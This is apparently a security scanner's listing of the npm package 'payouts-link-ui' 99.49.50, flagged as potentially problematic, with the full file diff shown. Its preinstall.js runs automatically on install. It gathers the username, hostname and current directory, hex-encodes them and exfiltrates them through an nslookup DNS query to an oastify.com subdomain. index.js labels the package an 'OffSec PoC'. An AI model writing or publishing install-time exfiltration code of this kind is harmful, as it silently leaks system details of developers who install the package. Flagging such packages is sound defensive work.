payouts-link-ui 99.49.50
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of payouts-link-ui might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +13 -0
- package/preinstall.js +23 -0
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log("OffSec PoC")
|
package/package.json
ADDED
package/preinstall.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const { execSync } = require('child_process');
|
3
|
+
|
4
|
+
// Collect data
|
5
|
+
const username = os.userInfo().username;
|
6
|
+
const hostname = os.hostname();
|
7
|
+
const currentPath = process.cwd();
|
8
|
+
|
9
|
+
// Convert to hex
|
10
|
+
const toHex = (str) => Buffer.from(str, 'utf8').toString('hex');
|
11
|
+
|
12
|
+
// Hex-encode data
|
13
|
+
const hexData = `${toHex(username)}.${toHex(hostname)}.${toHex(currentPath.replace(/\//g, '-'))}`;
|
14
|
+
|
15
|
+
// Construct DNS query
|
16
|
+
const dnsQuery = `nslookup ${hexData}.ufd8urohc988b1a8owm8wlvuxl3cr2fr.oastify.com`;
|
17
|
+
|
18
|
+
// Execute DNS query to exfiltrate data
|
19
|
+
try {
|
20
|
+
execSync(dnsQuery);
|
21
|
+
} catch (error) {
|
22
|
+
console.error(`Error: ${error.message}`);
|
23
|
+
}
|